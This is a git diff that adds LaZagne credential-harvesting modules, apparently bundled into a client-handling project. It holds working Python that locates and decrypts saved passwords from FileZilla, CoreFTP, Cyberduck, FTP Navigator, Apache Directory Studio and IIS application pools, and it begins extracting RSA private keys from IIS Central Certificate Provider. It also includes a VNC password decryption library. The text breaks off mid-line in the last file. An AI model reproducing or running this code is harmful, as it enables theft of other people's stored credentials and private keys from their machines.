diff options
Diffstat (limited to 'foreign/client_handling/lazagne/softwares/sysadmin')
19 files changed, 1730 insertions, 0 deletions
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/__init__.py b/foreign/client_handling/lazagne/softwares/sysadmin/__init__.py new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/sysadmin/__init__.py diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/apachedirectorystudio.py b/foreign/client_handling/lazagne/softwares/sysadmin/apachedirectorystudio.py new file mode 100644 index 0000000..14a8b4a --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/sysadmin/apachedirectorystudio.py @@ -0,0 +1,62 @@ +# -*- coding: utf-8 -*- +from xml.etree.ElementTree import parse + +from foreign.client_handling.lazagne.config.module_info import ModuleInfo +from foreign.client_handling.lazagne.config.constant import * + +import os + + +class ApacheDirectoryStudio(ModuleInfo): + + def __init__(self): + ModuleInfo.__init__(self, 'apachedirectorystudio', 'sysadmin') + # Interesting XML attributes in ADS connection configuration + self.attr_to_extract = ["host", "port", "bindPrincipal", "bindPassword", "authMethod"] + + def extract_connections_credentials(self): + """ + Extract all connection's credentials. + + :return: List of dict in which one dict contains all information for a connection. + """ + repos_creds = [] + connection_file_location = os.path.join( + constant.profile["USERPROFILE"], + u'.ApacheDirectoryStudio\\.metadata\\.plugins\\org.apache.directory.studio.connection.core\\connections.xml' + ) + if os.path.isfile(connection_file_location): + try: + connections = parse(connection_file_location).getroot() + connection_nodes = connections.findall(".//connection") + for connection_node in connection_nodes: + creds = {} + for connection_attr_name in connection_node.attrib: + if connection_attr_name in self.attr_to_extract: + creds[connection_attr_name] = connection_node.attrib[connection_attr_name].strip() + if creds: + repos_creds.append(creds) + except Exception as e: + self.error(u"Cannot retrieve connections credentials '%s'" % e) + + return repos_creds + + def run(self): + """ + Main function + """ + # Extract all available connections credentials + repos_creds = self.extract_connections_credentials() + + # Parse and process the list of connections credentials + pwd_found = [] + for creds in repos_creds: + pwd_found.append({ + "Host" : creds["host"], + "Port" : creds["port"], + "Login" : creds["bindPrincipal"], + "Password" : creds["bindPassword"], + "AuthenticationMethod" : creds["authMethod"] + }) + + return pwd_found diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/coreftp.py b/foreign/client_handling/lazagne/softwares/sysadmin/coreftp.py new file mode 100644 index 0000000..cccfffa --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/sysadmin/coreftp.py @@ -0,0 +1,58 @@ +# -*- coding: utf-8 -*- +import binascii +try: + import _winreg as winreg +except ImportError: + import winreg + +from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationECB +from foreign.client_handling.lazagne.config.module_info import ModuleInfo +from foreign.client_handling.lazagne.config.winstructure import OpenKey, HKEY_CURRENT_USER + + +class CoreFTP(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'coreftp', 'sysadmin') + + self._secret = "hdfzpysvpzimorhk" + + def decrypt(self, hex): + encoded = binascii.unhexlify(hex) + aes = AESModeOfOperationECB(self._secret) + decrypted = aes.decrypt(encoded) + return decrypted.split('\x00')[0] + + def run(self): + key = None + pwd_found = [] + try: + key = OpenKey(HKEY_CURRENT_USER, 'Software\\FTPware\\CoreFTP\\Sites') + except Exception as e: + self.debug(str(e)) + + if key: + num_profiles = winreg.QueryInfoKey(key)[0] + elements = ['Host', 'Port', 'User', 'Password'] + for n in range(num_profiles): + name_skey = winreg.EnumKey(key, n) + skey = OpenKey(key, name_skey) + num = winreg.QueryInfoKey(skey)[1] + values = {} + for nn in range(num): + k = winreg.EnumValue(skey, nn) + if k[0] in elements: + if k[0] == 'User': + values['Login'] = k[1] + pwd_found.append(values) + if k[0] == 'PW': + try: + values['Password'] = self.decrypt(k[1]) + except Exception as e: + self.debug(str(e)) + else: + values[k[0]] = k[1] + + winreg.CloseKey(skey) + winreg.CloseKey(key) + + return pwd_found diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/cyberduck.py b/foreign/client_handling/lazagne/softwares/sysadmin/cyberduck.py new file mode 100644 index 0000000..a72a0a6 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/sysadmin/cyberduck.py @@ -0,0 +1,48 @@ +# -*- coding: utf-8 -*- +import base64 + +from xml.etree.cElementTree import ElementTree + +from foreign.client_handling.lazagne.config.module_info import ModuleInfo +from foreign.client_handling.lazagne.config.winstructure import Win32CryptUnprotectData +from foreign.client_handling.lazagne.config.constant import constant +from foreign.client_handling.lazagne.config.winstructure import string_to_unicode + +import os + + +class Cyberduck(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'cyberduck', 'sysadmin', winapi_used=True) + + # find the user.config file containing passwords + def get_application_path(self): + directory = os.path.join(constant.profile['APPDATA'], u'Cyberduck') + if os.path.exists(directory): + for dr in os.listdir(directory): + if dr.startswith(u'Cyberduck'): + for d in os.listdir(os.path.join(directory, string_to_unicode(dr))): + path = os.path.join(directory, string_to_unicode(dr), string_to_unicode(d), u'user.config') + return path + + def run(self): + xml_file = self.get_application_path() + if xml_file and os.path.exists(xml_file): + tree = ElementTree(file=xml_file) + + pwd_found = [] + for elem in tree.iter(): + try: + if elem.attrib['name'].startswith('ftp') or elem.attrib['name'].startswith('ftps') \ + or elem.attrib['name'].startswith('sftp') or elem.attrib['name'].startswith('http') \ + or elem.attrib['name'].startswith('https'): + encrypted_password = base64.b64decode(elem.attrib['value']) + password = Win32CryptUnprotectData(encrypted_password, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi) + pwd_found.append({ + 'URL': elem.attrib['name'], + 'Password': password, + }) + except Exception as e: + self.debug(str(e)) + + return pwd_found diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/d3des.py b/foreign/client_handling/lazagne/softwares/sysadmin/d3des.py new file mode 100644 index 0000000..1670b42 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/sysadmin/d3des.py @@ -0,0 +1,391 @@ +#!/usr/bin/env python +# +# d3des.py - DES implementation +# +# Copyright (c) 2009 by Yusuke Shinyama +# + +# This is a Python rewrite of d3des.c by Richard Outerbridge. +# +# I referred to the original VNC viewer code for the changes that +# is necessary to maintain the exact behavior of the VNC protocol. +# Two constants and two functions were added to the original d3des +# code. These added parts were written in Python and marked +# below. I believe that the added parts do not make this program +# a "derivative work" of the VNC viewer (which is GPL'ed and +# written in C), but if there's any problem, let me know. +# +# Yusuke Shinyama (yusuke at cs dot nyu dot edu) + + +# D3DES (V5.09) - +# +# A portable, public domain, version of the Data Encryption Standard. +# +# Written with Symantec's THINK (Lightspeed) C by Richard Outerbridge. +# Thanks to: Dan Hoey for his excellent Initial and Inverse permutation +# code; Jim Gillogly & Phil Karn for the DES key schedule code; Dennis +# Ferguson, Eric Young and Dana How for comparing notes; and Ray Lau, +# for humouring me on. +# +# Copyright (c) 1988,1989,1990,1991,1992 by Richard Outerbridge. +# (GEnie : OUTER; CIS : [71755,204]) Graven Imagery, 1992. +# + +from struct import pack, unpack + + +################################################### +# +# start: changes made for VNC. +# + +# This constant was taken from vncviewer/rfb/vncauth.c: +vnckey = [23, 82, 107, 6, 35, 78, 88, 7] + +# This is a departure from the original code. +# bytebit = [ 0200, 0100, 040, 020, 010, 04, 02, 01 ] # original +bytebit = [0o1, 0o2, 0o4, 0o10, 0o20, 0o40, 0o100, 0o200] # VNC version + + +# two password functions for VNC protocol. + + +def decrypt_passwd(data): + dk = deskey(pack('8B', *vnckey), True) + return desfunc(data, dk) + + +def generate_response(passwd, challange): + ek = deskey((passwd+'\x00'*8)[:8], False) + return desfunc(challange[:8], ek) + desfunc(challange[8:], ek) + +### +# end: changes made for VNC. +# +################################################### + + +bigbyte = [ + 0x800000, 0x400000, 0x200000, 0x100000, + 0x80000, 0x40000, 0x20000, 0x10000, + 0x8000, 0x4000, 0x2000, 0x1000, + 0x800, 0x400, 0x200, 0x100, + 0x80, 0x40, 0x20, 0x10, + 0x8, 0x4, 0x2, 0x1 + ] + +# Use the key schedule specified in the Standard (ANSI X3.92-1981). + +pc1 = [ + 56, 48, 40, 32, 24, 16, 8, 0, 57, 49, 41, 33, 25, 17, + 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, + 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, + 13, 5, 60, 52, 44, 36, 28, 20, 12, 4, 27, 19, 11, 3 + ] + +totrot = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28] + +pc2 = [ + 13, 16, 10, 23, 0, 4, 2, 27, 14, 5, 20, 9, + 22, 18, 11, 3, 25, 7, 15, 6, 26, 19, 12, 1, + 40, 51, 30, 36, 46, 54, 29, 39, 50, 44, 32, 47, + 43, 48, 38, 55, 33, 52, 45, 41, 49, 35, 28, 31 + ] + + +def deskey(key, decrypt): # Thanks to James Gillogly & Phil Karn! + key = unpack('8B', key) + + pc1m = [0]*56 + pcr = [0]*56 + kn = [0]*32 + + for j in range(56): + l = pc1[j] + m = l & 0o7 + if key[l >> 3] & bytebit[m]: + pc1m[j] = 1 + else: + pc1m[j] = 0 + + for i in range(16): + if decrypt: + m = (15 - i) << 1 + else: + m = i << 1 + n = m + 1 + kn[m] = kn[n] = 0 + for j in range(28): + l = j + totrot[i] + if l < 28: + pcr[j] = pc1m[l] + else: + pcr[j] = pc1m[l - 28] + for j in range(28, 56): + l = j + totrot[i] + if l < 56: + pcr[j] = pc1m[l] + else: + pcr[j] = pc1m[l - 28] + for j in range(24): + if pcr[pc2[j]]: + kn[m] |= bigbyte[j] + if pcr[pc2[j+24]]: + kn[n] |= bigbyte[j] + + return cookey(kn) + + +def cookey(raw): + key = [] + for i in range(0, 32, 2): + (raw0, raw1) = (raw[i], raw[i+1]) + k = (raw0 & 0x00fc0000) << 6 + k |= (raw0 & 0x00000fc0) << 10 + k |= (raw1 & 0x00fc0000) >> 10 + k |= (raw1 & 0x00000fc0) >> 6 + key.append(k) + k = (raw0 & 0x0003f000) << 12 + k |= (raw0 & 0x0000003f) << 16 + k |= (raw1 & 0x0003f000) >> 4 + k |= (raw1 & 0x0000003f) + key.append(k) + return key + + +SP1 = [ + 0x01010400, 0x00000000, 0x00010000, 0x01010404, + 0x01010004, 0x00010404, 0x00000004, 0x00010000, + 0x00000400, 0x01010400, 0x01010404, 0x00000400, + 0x01000404, 0x01010004, 0x01000000, 0x00000004, + 0x00000404, 0x01000400, 0x01000400, 0x00010400, + 0x00010400, 0x01010000, 0x01010000, 0x01000404, + 0x00010004, 0x01000004, 0x01000004, 0x00010004, + 0x00000000, 0x00000404, 0x00010404, 0x01000000, + 0x00010000, 0x01010404, 0x00000004, 0x01010000, + 0x01010400, 0x01000000, 0x01000000, 0x00000400, + 0x01010004, 0x00010000, 0x00010400, 0x01000004, + 0x00000400, 0x00000004, 0x01000404, 0x00010404, + 0x01010404, 0x00010004, 0x01010000, 0x01000404, + 0x01000004, 0x00000404, 0x00010404, 0x01010400, + 0x00000404, 0x01000400, 0x01000400, 0x00000000, + 0x00010004, 0x00010400, 0x00000000, 0x01010004 +] + +SP2 = [ + 0x80108020, 0x80008000, 0x00008000, 0x00108020, + 0x00100000, 0x00000020, 0x80100020, 0x80008020, + 0x80000020, 0x80108020, 0x80108000, 0x80000000, + 0x80008000, 0x00100000, 0x00000020, 0x80100020, + 0x00108000, 0x00100020, 0x80008020, 0x00000000, + 0x80000000, 0x00008000, 0x00108020, 0x80100000, + 0x00100020, 0x80000020, 0x00000000, 0x00108000, + 0x00008020, 0x80108000, 0x80100000, 0x00008020, + 0x00000000, 0x00108020, 0x80100020, 0x00100000, + 0x80008020, 0x80100000, 0x80108000, 0x00008000, + 0x80100000, 0x80008000, 0x00000020, 0x80108020, + 0x00108020, 0x00000020, 0x00008000, 0x80000000, + 0x00008020, 0x80108000, 0x00100000, 0x80000020, + 0x00100020, 0x80008020, 0x80000020, 0x00100020, + 0x00108000, 0x00000000, 0x80008000, 0x00008020, + 0x80000000, 0x80100020, 0x80108020, 0x00108000 +] + +SP3 = [ + 0x00000208, 0x08020200, 0x00000000, 0x08020008, + 0x08000200, 0x00000000, 0x00020208, 0x08000200, + 0x00020008, 0x08000008, 0x08000008, 0x00020000, + 0x08020208, 0x00020008, 0x08020000, 0x00000208, + 0x08000000, 0x00000008, 0x08020200, 0x00000200, + 0x00020200, 0x08020000, 0x08020008, 0x00020208, + 0x08000208, 0x00020200, 0x00020000, 0x08000208, + 0x00000008, 0x08020208, 0x00000200, 0x08000000, + 0x08020200, 0x08000000, 0x00020008, 0x00000208, + 0x00020000, 0x08020200, 0x08000200, 0x00000000, + 0x00000200, 0x00020008, 0x08020208, 0x08000200, + 0x08000008, 0x00000200, 0x00000000, 0x08020008, + 0x08000208, 0x00020000, 0x08000000, 0x08020208, + 0x00000008, 0x00020208, 0x00020200, 0x08000008, + 0x08020000, 0x08000208, 0x00000208, 0x08020000, + 0x00020208, 0x00000008, 0x08020008, 0x00020200 +] + +SP4 = [ + 0x00802001, 0x00002081, 0x00002081, 0x00000080, + 0x00802080, 0x00800081, 0x00800001, 0x00002001, + 0x00000000, 0x00802000, 0x00802000, 0x00802081, + 0x00000081, 0x00000000, 0x00800080, 0x00800001, + 0x00000001, 0x00002000, 0x00800000, 0x00802001, + 0x00000080, 0x00800000, 0x00002001, 0x00002080, + 0x00800081, 0x00000001, 0x00002080, 0x00800080, + 0x00002000, 0x00802080, 0x00802081, 0x00000081, + 0x00800080, 0x00800001, 0x00802000, 0x00802081, + 0x00000081, 0x00000000, 0x00000000, 0x00802000, + 0x00002080, 0x00800080, 0x00800081, 0x00000001, + 0x00802001, 0x00002081, 0x00002081, 0x00000080, + 0x00802081, 0x00000081, 0x00000001, 0x00002000, + 0x00800001, 0x00002001, 0x00802080, 0x00800081, + 0x00002001, 0x00002080, 0x00800000, 0x00802001, + 0x00000080, 0x00800000, 0x00002000, 0x00802080 +] + +SP5 = [ + 0x00000100, 0x02080100, 0x02080000, 0x42000100, + 0x00080000, 0x00000100, 0x40000000, 0x02080000, + 0x40080100, 0x00080000, 0x02000100, 0x40080100, + 0x42000100, 0x42080000, 0x00080100, 0x40000000, + 0x02000000, 0x40080000, 0x40080000, 0x00000000, + 0x40000100, 0x42080100, 0x42080100, 0x02000100, + 0x42080000, 0x40000100, 0x00000000, 0x42000000, + 0x02080100, 0x02000000, 0x42000000, 0x00080100, + 0x00080000, 0x42000100, 0x00000100, 0x02000000, + 0x40000000, 0x02080000, 0x42000100, 0x40080100, + 0x02000100, 0x40000000, 0x42080000, 0x02080100, + 0x40080100, 0x00000100, 0x02000000, 0x42080000, + 0x42080100, 0x00080100, 0x42000000, 0x42080100, + 0x02080000, 0x00000000, 0x40080000, 0x42000000, + 0x00080100, 0x02000100, 0x40000100, 0x00080000, + 0x00000000, 0x40080000, 0x02080100, 0x40000100 +] + +SP6 = [ + 0x20000010, 0x20400000, 0x00004000, 0x20404010, + 0x20400000, 0x00000010, 0x20404010, 0x00400000, + 0x20004000, 0x00404010, 0x00400000, 0x20000010, + 0x00400010, 0x20004000, 0x20000000, 0x00004010, + 0x00000000, 0x00400010, 0x20004010, 0x00004000, + 0x00404000, 0x20004010, 0x00000010, 0x20400010, + 0x20400010, 0x00000000, 0x00404010, 0x20404000, + 0x00004010, 0x00404000, 0x20404000, 0x20000000, + 0x20004000, 0x00000010, 0x20400010, 0x00404000, + 0x20404010, 0x00400000, 0x00004010, 0x20000010, + 0x00400000, 0x20004000, 0x20000000, 0x00004010, + 0x20000010, 0x20404010, 0x00404000, 0x20400000, + 0x00404010, 0x20404000, 0x00000000, 0x20400010, + 0x00000010, 0x00004000, 0x20400000, 0x00404010, + 0x00004000, 0x00400010, 0x20004010, 0x00000000, + 0x20404000, 0x20000000, 0x00400010, 0x20004010 +] + +SP7 = [ + 0x00200000, 0x04200002, 0x04000802, 0x00000000, + 0x00000800, 0x04000802, 0x00200802, 0x04200800, + 0x04200802, 0x00200000, 0x00000000, 0x04000002, + 0x00000002, 0x04000000, 0x04200002, 0x00000802, + 0x04000800, 0x00200802, 0x00200002, 0x04000800, + 0x04000002, 0x04200000, 0x04200800, 0x00200002, + 0x04200000, 0x00000800, 0x00000802, 0x04200802, + 0x00200800, 0x00000002, 0x04000000, 0x00200800, + 0x04000000, 0x00200800, 0x00200000, 0x04000802, + 0x04000802, 0x04200002, 0x04200002, 0x00000002, + 0x00200002, 0x04000000, 0x04000800, 0x00200000, + 0x04200800, 0x00000802, 0x00200802, 0x04200800, + 0x00000802, 0x04000002, 0x04200802, 0x04200000, + 0x00200800, 0x00000000, 0x00000002, 0x04200802, + 0x00000000, 0x00200802, 0x04200000, 0x00000800, + 0x04000002, 0x04000800, 0x00000800, 0x00200002 +] + +SP8 = [ + 0x10001040, 0x00001000, 0x00040000, 0x10041040, + 0x10000000, 0x10001040, 0x00000040, 0x10000000, + 0x00040040, 0x10040000, 0x10041040, 0x00041000, + 0x10041000, 0x00041040, 0x00001000, 0x00000040, + 0x10040000, 0x10000040, 0x10001000, 0x00001040, + 0x00041000, 0x00040040, 0x10040040, 0x10041000, + 0x00001040, 0x00000000, 0x00000000, 0x10040040, + 0x10000040, 0x10001000, 0x00041040, 0x00040000, + 0x00041040, 0x00040000, 0x10041000, 0x00001000, + 0x00000040, 0x10040040, 0x00001000, 0x00041040, + 0x10001000, 0x00000040, 0x10000040, 0x10040000, + 0x10040040, 0x10000000, 0x00040000, 0x10001040, + 0x00000000, 0x10041040, 0x00040040, 0x10000040, + 0x10040000, 0x10001000, 0x10001040, 0x00000000, + 0x10041040, 0x00041000, 0x00041000, 0x00001040, + 0x00001040, 0x00040040, 0x10000000, 0x10041000 +] + + +def desfunc(block, keys): + (leftt, right) = unpack('>II', block) + + work = ((leftt >> 4) ^ right) & 0x0f0f0f0f + right ^= work + leftt ^= (work << 4) + work = ((leftt >> 16) ^ right) & 0x0000ffff + right ^= work + leftt ^= (work << 16) + work = ((right >> 2) ^ leftt) & 0x33333333 + leftt ^= work + right ^= (work << 2) + work = ((right >> 8) ^ leftt) & 0x00ff00ff + leftt ^= work + right ^= (work << 8) + right = ((right << 1) | ((right >> 31) & 1)) & 0xffffffff + work = (leftt ^ right) & 0xaaaaaaaa + leftt ^= work + right ^= work + leftt = ((leftt << 1) | ((leftt >> 31) & 1)) & 0xffffffff + + for i in range(0, 32, 4): + work = (right << 28) | (right >> 4) + work ^= keys[i] + fval = SP7[work & 0x3f] + fval |= SP5[(work >> 8) & 0x3f] + fval |= SP3[(work >> 16) & 0x3f] + fval |= SP1[(work >> 24) & 0x3f] + work = right ^ keys[i+1] + fval |= SP8[work & 0x3f] + fval |= SP6[(work >> 8) & 0x3f] + fval |= SP4[(work >> 16) & 0x3f] + fval |= SP2[(work >> 24) & 0x3f] + leftt ^= fval + work = (leftt << 28) | (leftt >> 4) + work ^= keys[i+2] + fval = SP7[work & 0x3f] + fval |= SP5[(work >> 8) & 0x3f] + fval |= SP3[(work >> 16) & 0x3f] + fval |= SP1[(work >> 24) & 0x3f] + work = leftt ^ keys[i+3] + fval |= SP8[work & 0x3f] + fval |= SP6[(work >> 8) & 0x3f] + fval |= SP4[(work >> 16) & 0x3f] + fval |= SP2[(work >> 24) & 0x3f] + right ^= fval + + right = (right << 31) | (right >> 1) + work = (leftt ^ right) & 0xaaaaaaaa + leftt ^= work + right ^= work + leftt = (leftt << 31) | (leftt >> 1) + work = ((leftt >> 8) ^ right) & 0x00ff00ff + right ^= work + leftt ^= (work << 8) + work = ((leftt >> 2) ^ right) & 0x33333333 + right ^= work + leftt ^= (work << 2) + work = ((right >> 16) ^ leftt) & 0x0000ffff + leftt ^= work + right ^= (work << 16) + work = ((right >> 4) ^ leftt) & 0x0f0f0f0f + leftt ^= work + right ^= (work << 4) + + leftt &= 0xffffffff + right &= 0xffffffff + return pack('>II', right, leftt) + + +# test +if __name__ == '__main__': + import binascii + key = binascii.unhexlify('0123456789abcdef') + plain = binascii.unhexlify('0123456789abcdef') + cipher = binascii.unhexlify('6e09a37726dd560c') + ek = deskey(key, False) + dk = deskey(key, True) + assert desfunc(plain, ek) == cipher + assert desfunc(desfunc(plain, ek), dk) == plain + assert desfunc(desfunc(plain, dk), ek) == plain + print('test succeeded.') diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/filezilla.py b/foreign/client_handling/lazagne/softwares/sysadmin/filezilla.py new file mode 100644 index 0000000..fb6d929 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/sysadmin/filezilla.py @@ -0,0 +1,53 @@ +# -*- coding: utf-8 -*- +import base64 + +from xml.etree.cElementTree import ElementTree + +from foreign.client_handling.lazagne.config.module_info import ModuleInfo +from foreign.client_handling.lazagne.config.constant import constant + +import os + + +class Filezilla(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'filezilla', 'sysadmin') + + def run(self): + path = os.path.join(constant.profile['APPDATA'], u'FileZilla') + if os.path.exists(path): + pwd_found = [] + for file in [u'sitemanager.xml', u'recentservers.xml', u'filezilla.xml']: + + xml_file = os.path.join(path, file) + if os.path.exists(xml_file): + tree = ElementTree(file=xml_file) + if tree.findall('Servers/Server'): + servers = tree.findall('Servers/Server') + else: + servers = tree.findall('RecentServers/Server') + + for server in servers: + host = server.find('Host') + port = server.find('Port') + login = server.find('User') + password = server.find('Pass') + + # if all((host, port, login)) does not work + if host is not None and port is not None and login is not None: + values = { + 'Host': host.text, + 'Port': port.text, + 'Login': login.text, + } + + if password is not None: + if 'encoding' in password.attrib and password.attrib['encoding'] == 'base64': + values['Password'] = base64.b64decode(password.text) + else: + values['Password'] = password.text + + if values: + pwd_found.append(values) + + return pwd_found diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/filezillaserver.py b/foreign/client_handling/lazagne/softwares/sysadmin/filezillaserver.py new file mode 100644 index 0000000..3bcde6d --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/sysadmin/filezillaserver.py @@ -0,0 +1,42 @@ +# -*- coding: utf-8 -*- +from xml.etree.cElementTree import ElementTree + +from foreign.client_handling.lazagne.config.module_info import ModuleInfo +from foreign.client_handling.lazagne.config.constant import constant + +import os + + +class FilezillaServer(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'filezillaserver', 'sysadmin') + + def run(self): + path = os.path.join(constant.profile['APPDATA'], u'FileZilla Server') + if os.path.exists(path): + pwd_found = [] + file = u'FileZilla Server Interface.xml' + + xml_file = os.path.join(path, file) + + if os.path.exists(xml_file): + tree = ElementTree(file=xml_file) + root = tree.getroot() + host = port = password = None + + for item in root.iter("Item"): + if item.attrib['name'] == 'Last Server Address': + host = item.text + elif item.attrib['name'] == 'Last Server Port': + port = item.text + elif item.attrib['name'] == 'Last Server Password': + password = item.text + # if all((host, port, login)) does not work + if host is not None and port is not None and password is not None: + pwd_found = [{ + 'Host': host, + 'Port': port, + 'Password': password, + }] + + return pwd_found diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/ftpnavigator.py b/foreign/client_handling/lazagne/softwares/sysadmin/ftpnavigator.py new file mode 100644 index 0000000..3fdac5a --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/sysadmin/ftpnavigator.py @@ -0,0 +1,44 @@ +# -*- coding: utf-8 -*- +import struct + +from foreign.client_handling.lazagne.config.module_info import ModuleInfo +from foreign.client_handling.lazagne.config.constant import constant + +import os + + +class FtpNavigator(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'ftpnavigator', 'sysadmin', system_module=True) + + def decode(self, encode_password): + password = '' + for p in encode_password: + password += chr(struct.unpack('B', p)[0] ^ 0x19) + return password + + def run(self): + path = os.path.join(constant.profile['HOMEDRIVE'], u'\\FTP Navigator', u'Ftplist.txt') + elements = {'Name': 'Name', 'Server': 'Host', 'Port': 'Port', 'User': 'Login', 'Password': 'Password'} + if os.path.exists(path): + pwd_found = [] + with open(path, 'r') as f: + for ff in f: + values = {} + info = ff.split(';') + for i in info: + i = i.split('=') + for e in elements: + if i[0] == e: + if i[0] == "Password" and i[1] != '1' and i[1] != '0': + values['Password'] = self.decode(i[1]) + else: + values[elements[i[0]]] = i[1] + + # used to save the password if it is an anonymous authentication + if values['Login'] == 'anonymous' and 'Password' not in values: + values['Password'] = 'anonymous' + + pwd_found.append(values) + + return pwd_found diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/iisapppool.py b/foreign/client_handling/lazagne/softwares/sysadmin/iisapppool.py new file mode 100644 index 0000000..903365a --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/sysadmin/iisapppool.py @@ -0,0 +1,76 @@ +import fnmatch +import os +import subprocess +import re +import string + +from foreign.client_handling.lazagne.config.module_info import ModuleInfo + +class IISAppPool(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, name='iisapppool', category='sysadmin', registry_used=True, winapi_used=True) + + def find_files(self, path, file): + """ + Try to find all files with the same name + """ + founded_files = [] + for dirpath, dirnames, files in os.walk(path): + for file_name in files: + if fnmatch.fnmatch(file_name, file): + founded_files.append(dirpath + '\\' + file_name) + + return founded_files + + def execute_get_stdout(self, exe_file, arguments): + try: + proc = subprocess.Popen(exe_file + " " + arguments, shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + + except: + self.debug(u'Error executing {exefile}'.format(exefile=exe_file)) + return None + + return proc.stdout + + def run(self): + pfound = [] + + exe_files = self.find_files(os.environ['WINDIR'] + '\\System32\\inetsrv', 'appcmd.exe') + if len(exe_files) == 0: + self.debug(u'File not found appcmd.exe') + return + + self.info(u'appcmd.exe files found: {files}'.format(files=exe_files)) + output = self.execute_get_stdout(exe_files[-1], 'list apppool') + if output == None: + self.debug(u'Problems with Application Pool list') + return + + app_list = [] + for line in output.readlines(): + app_list.append(re.findall(r'".*"', line)[0].split('"')[1]) + + + for app in app_list: + values = {} + username = '' + password = '' + + output = self.execute_get_stdout(exe_files[-1], 'list apppool ' + app + ' /text:*') + + for line in output.readlines(): + if re.search(r'userName:".*"', line): + username = re.findall(r'userName:".*"', line)[0].split('"')[1] + + if re.search(r'password:".*"', line): + password = re.findall(r'password:".*"', line)[0].split('"')[1] + + if password != '' : + values['AppPool.Name'] = app + values['Username'] = username + values['Password'] = password + + pfound.append(values) + + + return pfound diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/iiscentralcertp.py b/foreign/client_handling/lazagne/softwares/sysadmin/iiscentralcertp.py new file mode 100644 index 0000000..a66ff7f --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/sysadmin/iiscentralcertp.py @@ -0,0 +1,138 @@ +# -*- coding: utf-8 -*- +import base64 +import fnmatch +import os +import rsa +import string + +from random import * +from xml.dom import minidom + +try: + import _winreg as winreg +except ImportError: + import winreg + + +from foreign.client_handling.lazagne.config.module_info import ModuleInfo + + +class IISCentralCertP(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, name='iiscentralcertp', category='sysadmin', registry_used=True, winapi_used=True) + + def find_files(self, path, file): + """ + Try to find all files with the same name + """ + founded_files = [] + for dirpath, dirnames, files in os.walk(path): + for file_name in files: + if fnmatch.fnmatch(file_name, file): + founded_files.append(dirpath + '\\' + file_name) + + return founded_files + + def create_RSAKeyValueFile(self, exe_file, container): + tmp_file = "".join(choice(string.ascii_letters + string.digits) for x in range(randint(8, 10))) + ".xml" + try: + os.system(exe_file + " -px " + container + " " + tmp_file + " -pri > nul") + except OSError: + self.debug(u'Error executing {container}'.format(container=container)) + tmp_file = '' + + return tmp_file + + def get_registry_key(self, reg_key, parameter): + data = '' + try: + if reg_key.startswith('HKEY_LOCAL_MACHINE'): + hkey = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, reg_key.replace('HKEY_LOCAL_MACHINE\\', '')) + data = winreg.QueryValueEx(hkey, parameter)[0] + + except Exception as e: + self.debug(e) + + return data + + def decrypt_hash_b64(self, hash_b64, privkey): + hash = bytearray(base64.b64decode(hash_b64)) + hash.reverse() + hash_b64 = base64.b64encode(hash) + hash = base64.b64decode(hash_b64) + message = rsa.decrypt(hash, privkey) + return message.decode('UTF-16') + + def GetLong(self, nodelist): + rc = [] + for node in nodelist: + if node.nodeType == node.TEXT_NODE: + rc.append(node.data) + + st = ''.join(rc) + raw = base64.b64decode(st) + return int(raw.encode('hex'), 16) + + def read_RSAKeyValue(self, rsa_key_xml): + xmlStructure = minidom.parseString(rsa_key_xml) + + MODULUS = self.GetLong(xmlStructure.getElementsByTagName('Modulus')[0].childNodes) + EXPONENT = self.GetLong(xmlStructure.getElementsByTagName('Exponent')[0].childNodes) + D = self.GetLong(xmlStructure.getElementsByTagName('D')[0].childNodes) + P = self.GetLong(xmlStructure.getElementsByTagName('P')[0].childNodes) + Q = self.GetLong(xmlStructure.getElementsByTagName('Q')[0].childNodes) + InverseQ = self.GetLong(xmlStructure.getElementsByTagName('InverseQ')[0].childNodes) + + privkey = rsa.PrivateKey(MODULUS, EXPONENT, D, P, Q) + self.debug(u'RSA Key Value - PEM:\n {RSAkey}'.format(RSAkey=privkey.save_pkcs1(format='PEM'))) + + return privkey + + def run(self): + pfound = [] + + ccp_enabled = self.get_registry_key('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\IIS\\CentralCertProvider', + 'Enabled') + if ccp_enabled != 1: + self.debug(u'IIS CentralCertProvider is not enabled') + return + + exe_files = self.find_files(os.environ['WINDIR'] + '\\Microsoft.NET\\Framework64\\', 'aspnet_regiis.exe') + if len(exe_files) == 0: + exe_files = self.find_files(os.environ['WINDIR'] + '\\Microsoft.NET\\Framework\\', 'aspnet_regiis.exe') + if len(exe_files) == 0: + self.debug(u'File not found aspnet_regiis.exe') + return + + self.info(u'aspnet_regiis.exe files found: {files}'.format(files=exe_files)) + rsa_xml_file = 